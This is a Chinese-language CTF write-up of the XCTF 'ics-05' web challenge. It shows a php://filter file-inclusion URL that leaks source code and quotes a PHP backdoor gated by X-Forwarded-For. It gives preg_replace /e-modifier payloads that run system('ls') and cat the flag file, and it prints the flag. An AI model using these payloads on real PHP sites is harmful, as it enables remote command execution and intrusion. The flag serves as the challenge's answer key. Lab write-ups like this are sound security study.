1、描述

难度系数： 3星
题目来源： XCTF 4th-CyberEarth
题目描述：其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
题目场景：点击获取在线场景
题目附件：暂无
首先打开场景，进入系统设备维护中心，没有发现什么，查找到相关漏洞一个，查看源码：

2、实操

使用 http://111.198.29.45:44908/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php
查看源码漏洞，发现了base64编码的代码
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使用base64在线解码后得到关键函数：
//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}
}
?>
</body>
</html>

根据函数我们得知，输入的参数有三个，并且会代入到一个preg_replace函数中，查询该函数的功能。

语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分， 以 replacement 进行替换。
参数说明：$pattern: 要搜索的模式，可以是字符串或一个字符串数组。$replacement: 用于替换的字符串或字符串数组。$subject: 要搜索替换的目标字符串或字符串数组。$limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1（无限制）。$count: 可选，为替换执行的次数。

返回值
如果 subject 是一个数组， preg_replace() 返回一个数组，其他情况下返回一个字符串。
如果匹配被查找到，替换后的 subject 被返回，其他情况下返回没有改变的 subject。如果发生错误，返回 NULL。
于是：

使用加入参数?pat=/(.)/e&rep=system(‘ls’)&sub=harry得到：

使用加入参数?pat=/(.)/e&rep=system(‘ls+s3chahahaDir/flag’)&sub=harr得到：

使用加入参数?pat=/(.*)/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=harry得到：答案

3、答案

至此最终的flag是：cyberpeace{c43b4737749f7ca5d0ee2a11e76a0452}

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攻防世界WEB进阶之ics-05

攻防世界WEB进阶之ics-05

1、描述

2、实操

3、答案

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